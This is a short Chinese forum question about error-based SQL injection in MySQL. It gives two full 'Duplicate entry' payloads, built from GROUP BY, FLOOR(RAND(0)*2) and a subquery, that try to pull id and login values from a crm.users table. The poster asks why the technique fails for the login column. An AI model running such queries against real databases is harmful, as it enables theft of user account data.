我尝试执行基于Duplicate entry
错误的SQL注入。它被很好地描述了here。但就我而言,它仅适用于多个列,而不适用于所有列。例如,它适用于id
列,不适用于login
表的users
列。我也可以使用这种方法提取version()
这样的信息。但为什么这对任何列都无效?
示例:
这可以正常运行并抛出Duplicate Entry
错误:
SELECT COUNT(*),
CONCAT((SELECT CONCAT(users.id)
FROM crm.users LIMIT 1), 0x20, FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x
但这不起作用:
SELECT COUNT(*),
CONCAT((SELECT CONCAT(users.login)
FROM crm.users LIMIT 1), 0x20, FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x
唯一的区别是列名。但是第二个示例返回一个这样的表而不是错误:
COUNT(*) x
157 admin 0
128 admin 1
第二种情况没有错误。是什么原因?